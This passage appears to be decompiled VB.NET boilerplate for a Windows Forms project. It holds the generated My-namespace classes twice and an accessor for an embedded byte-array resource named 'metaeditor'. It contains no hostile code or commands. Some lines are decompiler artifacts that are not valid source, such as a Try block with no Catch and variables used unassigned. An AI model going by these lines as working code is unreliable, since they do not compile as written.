Public Overrides Function GetHashCode() As Integer
Return MyBase.GetHashCode
End Function
<EditorBrowsable(EditorBrowsableState.Never)> _
Friend Function [GetType]() As Type
Return GetType(MyForms)
End Function
<EditorBrowsable(EditorBrowsableState.Never)> _
Public Overrides Function ToString() As String
Return MyBase.ToString
End Function
' Properties
Public Property Form1() As Form1
<DebuggerNonUserCode()> _
Get
Me.m_Form1 = MyForms.Create__Instance__(Of Form1)(Me.m_Form1)
Return Me.m_Form1
End Get
<DebuggerNonUserCode()> _
Set(ByVal Value As Form1)
If (Not Value Is Me.m_Form1) Then
If (Not Value Is Nothing) Then
Throw New ArgumentException("Property can only be set to Nothing")
End If
Me.Dispose__Instance__(Of Form1)(Me.m_Form1)
End If
End Set
End Property
' Fields
Public m_Form1 As Form1
<ThreadStatic()> _
Private Shared m_FormBeingCreated As Hashtable
End Class
<MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", ""), EditorBrowsable(EditorBrowsableState.Never)> _
Friend NotInheritable Class MyWebServices
' Methods
<DebuggerHidden()> _
Private Shared Function Create__Instance__(Of T As New)(ByVal instance As T) As T
If (instance Is Nothing) Then
Return Activator.CreateInstance(Of T)()
End If
Return instance
End Function
<DebuggerHidden()> _
Private Sub Dispose__Instance__(Of T)(ByRef instance As T)
instance = CType(Nothing, T)
End Sub
<DebuggerHidden(), EditorBrowsable(EditorBrowsableState.Never)> _
Public Overrides Function Equals(ByVal o As Object) As Boolean
Return MyBase.Equals(RuntimeHelpers.GetObjectValue(o))
End Function
<EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()> _
Public Overrides Function GetHashCode() As Integer
Return MyBase.GetHashCode
End Function
<EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()> _
Friend Function [GetType]() As Type
Return GetType(MyWebServices)
End Function
<EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()> _
Public Overrides Function ToString() As String
Return MyBase.ToString
End Function
End Class
<EditorBrowsable(EditorBrowsableState.Never), ComVisible(False)> _
Friend NotInheritable Class ThreadSafeObjectProvider(Of T As New)
' Properties
Friend ReadOnly Property GetInstance() As T
<DebuggerHidden()> _
Get
If (ThreadSafeObjectProvider(Of T).m_ThreadStaticValue Is Nothing) Then
ThreadSafeObjectProvider(Of T).m_ThreadStaticValue = Activator.CreateInstance(Of T)()
End If
Return ThreadSafeObjectProvider(Of T).m_ThreadStaticValue
End Get
End Property
' Fields
<CompilerGenerated(), ThreadStatic()> _
Private Shared m_ThreadStaticValue As T
End Class
End Class
End Namespace
Namespace WindowsApplication1.My
<EditorBrowsable(EditorBrowsableState.Advanced), CompilerGenerated(), GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")> _
Friend NotInheritable Class MySettings
Inherits ApplicationSettingsBase
' Methods
<DebuggerNonUserCode(), EditorBrowsable(EditorBrowsableState.Advanced)> _
Private Shared Sub AutoSaveSettings(ByVal sender As Object, ByVal e As EventArgs)
If MyProject.Application.SaveMySettingsOnExit Then
MySettingsProperty.Settings.Save()
End If
End Sub
' Properties
Public Shared ReadOnly Property [Default]() As MySettings
Get
If Not MySettings.addedHandler Then
Dim addedHandlerLockObject As Object = MySettings.addedHandlerLockObject
ObjectFlowControl.CheckForSyncLockOnValueType(addedHandlerLockObject)
SyncLock addedHandlerLockObject
If Not MySettings.addedHandler Then
AddHandler MyProject.Application.Shutdown, New ShutdownEventHandler(AddressOf MySettings.AutoSaveSettings)
MySettings.addedHandler = True
End If
End SyncLock
End If
Return MySettings.defaultInstance
End Get
End Property
' Fields
Private Shared addedHandler As Boolean
Private Shared addedHandlerLockObject As Object = RuntimeHelpers.GetObjectValue(New Object)
Private Shared defaultInstance As MySettings = DirectCast(SettingsBase.Synchronized(New MySettings), MySettings)
End Class
End Namespace
Namespace WindowsApplication1.My.Resources
<StandardModule(), CompilerGenerated(), GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), HideModuleName(), DebuggerNonUserCode()> _
Friend NotInheritable Class Resources
' Properties
<EditorBrowsable(EditorBrowsableState.Advanced)> _
Friend Shared Property Culture() As CultureInfo
Get
Return Resources.resourceCulture
End Get
Set(ByVal Value As CultureInfo)
Resources.resourceCulture = Value
End Set
End Property
Friend Shared ReadOnly Property metaeditor() As Byte()
Get
Return DirectCast(RuntimeHelpers.GetObjectValue(Resources.ResourceManager.GetObject("metaeditor", Resources.resourceCulture)), Byte())
End Get
End Property
<EditorBrowsable(EditorBrowsableState.Advanced)> _
Friend Shared ReadOnly Property ResourceManager() As ResourceManager
Get
If Object.ReferenceEquals(Resources.resourceMan, Nothing) Then
Dim manager2 As New ResourceManager("WindowsApplication1.Resources", GetType(Resources).Assembly)
Resources.resourceMan = manager2
End If
Return Resources.resourceMan
End Get
End Property
' Fields
Private Shared resourceCulture As CultureInfo
Private Shared resourceMan As ResourceManager
End Class
End Namespace
Imports Microsoft.VisualBasic.ApplicationServices
Imports System
Imports System.CodeDom.Compiler
Imports System.Collections.Generic
Imports System.ComponentModel
Imports System.Diagnostics
Imports System.Runtime.CompilerServices
Imports System.Windows.Forms
Namespace WindowsApplication1.My
<EditorBrowsable(EditorBrowsableState.Never), GeneratedCode("MyTemplate", "10.0.0.0")> _
Friend Class MyApplication
Inherits WindowsFormsApplicationBase
' Methods
<DebuggerStepThrough> _
Public Sub New()
MyBase.New(AuthenticationMode.Windows)
MyApplication.__ENCAddToList(Me)
Me.IsSingleInstance = False
Me.EnableVisualStyles = True
Me.SaveMySettingsOnExit = True
Me.ShutdownStyle = ShutdownMode.AfterMainFormCloses
End Sub
<DebuggerNonUserCode> _
Private Shared Sub __ENCAddToList(ByVal value As Object)
Dim list As List(Of WeakReference) = MyApplication.__ENCList
SyncLock list
If (MyApplication.__ENCList.Count = MyApplication.__ENCList.Capacity) Then
Dim index As Integer = 0
Dim num3 As Integer = (MyApplication.__ENCList.Count - 1)
Dim i As Integer = 0
Do While (i <= num3)
Dim reference As WeakReference = MyApplication.__ENCList.Item(i)
If reference.IsAlive Then
If (i <> index) Then
MyApplication.__ENCList.Item(index) = MyApplication.__ENCList.Item(i)
End If
index += 1
End If
i += 1
Loop
MyApplication.__ENCList.RemoveRange(index, (MyApplication.__ENCList.Count - index))
MyApplication.__ENCList.Capacity = MyApplication.__ENCList.Count
End If
MyApplication.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value)))
End SyncLock
End Sub
<MethodImpl((MethodImplOptions.NoOptimization Or MethodImplOptions.NoInlining)), STAThread, EditorBrowsable(EditorBrowsableState.Advanced), DebuggerHidden> _
Friend Shared Sub Main(ByVal Args As String())
Try
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering)
End Try
MyProject.Application.Run(Args)
End Sub
<DebuggerStepThrough> _
Protected Overrides Sub OnCreateMainForm()
Me.MainForm = MyProject.Forms.Form1
End Sub
' Fields
Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference)
End Class
End Namespace
Imports Microsoft.VisualBasic.Devices
Imports System.CodeDom.Compiler
Imports System.ComponentModel
Namespace WindowsApplication1.My
<EditorBrowsable(EditorBrowsableState.Never), GeneratedCode("MyTemplate", "10.0.0.0")> _
Friend Class MyComputer
Inherits Computer
End Class
End Namespace
Namespace WindowsApplication1.My
<StandardModule, GeneratedCode("MyTemplate", "10.0.0.0"), HideModuleName> _
Friend NotInheritable Class MyProject
' Properties
<HelpKeyword("My.Application")> _
Friend Shared ReadOnly Property Application As MyApplication
<DebuggerHidden> _
Get
Return MyProject.m_AppObjectProvider.GetInstance
End Get
End Property
<HelpKeyword("My.Computer")> _
Friend Shared ReadOnly Property Computer As MyComputer
<DebuggerHidden> _
Get
Return MyProject.m_ComputerObjectProvider.GetInstance
End Get
End Property
<HelpKeyword("My.Forms")> _
Friend Shared ReadOnly Property Forms As MyForms
<DebuggerHidden> _
Get
Return MyProject.m_MyFormsObjectProvider.GetInstance
End Get
End Property
<HelpKeyword("My.User")> _
Friend Shared ReadOnly Property User As User
<DebuggerHidden> _
Get
Return MyProject.m_UserObjectProvider.GetInstance
End Get
End Property
<HelpKeyword("My.WebServices")> _
Friend Shared ReadOnly Property WebServices As MyWebServices
<DebuggerHidden> _
Get
Return MyProject.m_MyWebServicesObjectProvider.GetInstance
End Get
End Property
' Fields
Private Shared ReadOnly m_AppObjectProvider As ThreadSafeObjectProvider(Of MyApplication) = New ThreadSafeObjectProvider(Of MyApplication)
Private Shared ReadOnly m_ComputerObjectProvider As ThreadSafeObjectProvider(Of MyComputer) = New ThreadSafeObjectProvider(Of MyComputer)
Private Shared m_MyFormsObjectProvider As ThreadSafeObjectProvider(Of MyForms) = New ThreadSafeObjectProvider(Of MyForms)
Private Shared ReadOnly m_MyWebServicesObjectProvider As ThreadSafeObjectProvider(Of MyWebServices) = New ThreadSafeObjectProvider(Of MyWebServices)
Private Shared ReadOnly m_UserObjectProvider As ThreadSafeObjectProvider(Of User) = New ThreadSafeObjectProvider(Of User)
' Nested Types
<EditorBrowsable(EditorBrowsableState.Never), MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")> _
Friend NotInheritable Class MyForms
' Methods
<DebuggerHidden> _
Private Shared Function Create__Instance__(Of T As { Form, New })(ByVal Instance As T) As T
Dim local As T
Dim exception As TargetInvocationException
If (If(((Instance Is Nothing) OrElse Instance.IsDisposed), 1, 0) = 0) Then
Return Instance
End If
If (Not MyForms.m_FormBeingCreated Is Nothing) Then
If MyForms.m_FormBeingCreated.ContainsKey(GetType(T)) Then
Throw New InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate", New String(0 - 1) {}))
End If
Else
MyForms.m_FormBeingCreated = New Hashtable
End If
MyForms.m_FormBeingCreated.Add(GetType(T), Nothing)
Try
Return Activator.CreateInstance(Of T)
Catch exception1 As TargetInvocationException When ((Not exception.InnerException Is Nothing))
ProjectData.SetProjectError(exception = exception1)
Throw New InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", New String() { exception.InnerException.Message }), exception.InnerException)
ProjectData.ClearProjectError
Finally
MyForms.m_FormBeingCreated.Remove(GetType(T))
End Try
Return local
End Function
<DebuggerHidden> _
Private Sub Dispose__Instance__(Of T As Form)(ByRef instance As T)
instance.Dispose
instance = CType(Nothing, T)
End Sub
<EditorBrowsable(EditorBrowsableState.Never)> _
Public Overrides Function Equals(ByVal o As Object) As Boolean
Return MyBase.Equals(RuntimeHelpers.GetObjectValue(o))
End Function
<EditorBrowsable(EditorBrowsableState.Never)> _
Public Overrides Function GetHashCode() As Integer
Return MyBase.GetHashCode
End Function
<EditorBrowsable(EditorBrowsableState.Never)> _
Friend Function [GetType]() As Type
Return GetType(MyForms)
End Function
<EditorBrowsable(EditorBrowsableState.Never)> _
Public Overrides Function ToString() As String
Return MyBase.ToString
End Function
' Properties
Public Property Form1 As Form1
<DebuggerNonUserCode> _
Get
Me.m_Form1 = MyForms.Create__Instance__(Of Form1)(Me.m_Form1)
Return Me.m_Form1
End Get
<DebuggerNonUserCode> _
Set(ByVal Value As Form1)
If (Not Value Is Me.m_Form1) Then
If (Not Value Is Nothing) Then
Throw New ArgumentException("Property can only be set to Nothing")
End If
Me.Dispose__Instance__(Of Form1)(Me.m_Form1)
End If
End Set
End Property
' Fields
Public m_Form1 As Form1
<ThreadStatic> _
Private Shared m_FormBeingCreated As Hashtable
End Class
<MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", ""), EditorBrowsable(EditorBrowsableState.Never)> _
Friend NotInheritable Class MyWebServices
' Methods
<DebuggerHidden> _
Private Shared Function Create__Instance__(Of T As New)(ByVal instance As T) As T
If (instance Is Nothing) Then
Return Activator.CreateInstance(Of T)
End If
Return instance
End Function
<DebuggerHidden> _
Private Sub Dispose__Instance__(Of T)(ByRef instance As T)
instance = CType(Nothing, T)
End Sub
<DebuggerHidden, EditorBrowsable(EditorBrowsableState.Never)> _
Public Overrides Function Equals(ByVal o As Object) As Boolean
Return MyBase.Equals(RuntimeHelpers.GetObjectValue(o))
End Function
<EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden> _
Public Overrides Function GetHashCode() As Integer
Return MyBase.GetHashCode
End Function
<EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden> _
Friend Function [GetType]() As Type
Return GetType(MyWebServices)
End Function
<EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden> _
Public Overrides Function ToString() As String
Return MyBase.ToString
End Function
End Class
<EditorBrowsable(EditorBrowsableState.Never), ComVisible(False)> _
Friend NotInheritable Class ThreadSafeObjectProvider(Of T As New)
' Properties
Friend ReadOnly Property GetInstance As T
<DebuggerHidden> _
Get
If (ThreadSafeObjectProvider(Of T).m_ThreadStaticValue Is Nothing) Then
ThreadSafeObjectProvider(Of T).m_ThreadStaticValue = Activator.CreateInstance(Of T)
End If
Return ThreadSafeObjectProvider(Of T).m_ThreadStaticValue
End Get
End Property
' Fields
<CompilerGenerated, ThreadStatic> _
Private Shared m_ThreadStaticValue As T
End Class
End Class
End Namespace
Imports Microsoft.VisualBasic.ApplicationServices
Imports Microsoft.VisualBasic.CompilerServices
Imports System
Imports System.CodeDom.Compiler
Imports System.ComponentModel
Imports System.Configuration
Imports System.Diagnostics
Imports System.Runtime.CompilerServices
Namespace WindowsApplication1.My
<EditorBrowsable(EditorBrowsableState.Advanced), CompilerGenerated, GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")> _
Friend NotInheritable Class MySettings
Inherits ApplicationSettingsBase
' Methods
<DebuggerNonUserCode, EditorBrowsable(EditorBrowsableState.Advanced)> _
Private Shared Sub AutoSaveSettings(ByVal sender As Object, ByVal e As EventArgs)
If MyProject.Application.SaveMySettingsOnExit Then
MySettingsProperty.Settings.Save
End If
End Sub
' Properties
Public Shared ReadOnly Property [Default] As MySettings
Get
If Not MySettings.addedHandler Then
Dim addedHandlerLockObject As Object = MySettings.addedHandlerLockObject
ObjectFlowControl.CheckForSyncLockOnValueType(addedHandlerLockObject)
SyncLock addedHandlerLockObject
If Not MySettings.addedHandler Then
AddHandler MyProject.Application.Shutdown, New ShutdownEventHandler(AddressOf MySettings.AutoSaveSettings)
MySettings.addedHandler = True
End If
End SyncLock
End If
Return MySettings.defaultInstance
End Get
End Property
' Fields
Private Shared addedHandler As Boolean
Private Shared addedHandlerLockObject As Object = RuntimeHelpers.GetObjectValue(New Object)
Private Shared defaultInstance As MySettings = DirectCast(SettingsBase.Synchronized(New MySettings), MySettings)
End Class
End Namespace
Imports Microsoft.VisualBasic
Imports Microsoft.VisualBasic.CompilerServices
Imports System
Imports System.CodeDom.Compiler
Imports System.ComponentModel
Imports System.Diagnostics
Imports System.Globalization
Imports System.Resources
Imports System.Runtime.CompilerServices
Namespace WindowsApplication1.My.Resources
<StandardModule, CompilerGenerated, GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), HideModuleName, DebuggerNonUserCode> _
Friend NotInheritable Class Resources
' Properties
<EditorBrowsable(EditorBrowsableState.Advanced)> _
Friend Shared Property Culture As CultureInfo
Get
Return Resources.resourceCulture
End Get
Set(ByVal Value As CultureInfo)
Resources.resourceCulture = Value
End Set
End Property
Friend Shared ReadOnly Property metaeditor As Byte()
Get
Return DirectCast(RuntimeHelpers.GetObjectValue(Resources.ResourceManager.GetObject("metaeditor", Resources.resourceCulture)), Byte())
End Get
End Property
<EditorBrowsable(EditorBrowsableState.Advanced)> _
Friend Shared ReadOnly Property ResourceManager As ResourceManager
Get
If Object.ReferenceEquals(Resources.resourceMan, Nothing) Then
Dim manager2 As New ResourceManager("WindowsApplication1.Resources", GetType(Resources).Assembly)
Resources.resourceMan = manager2
End If
Return Resources.resourceMan
End Get
End Property
' Fields
Private Shared resourceCulture As CultureInfo
Private Shared resourceMan As ResourceManager
End Class
End Namespace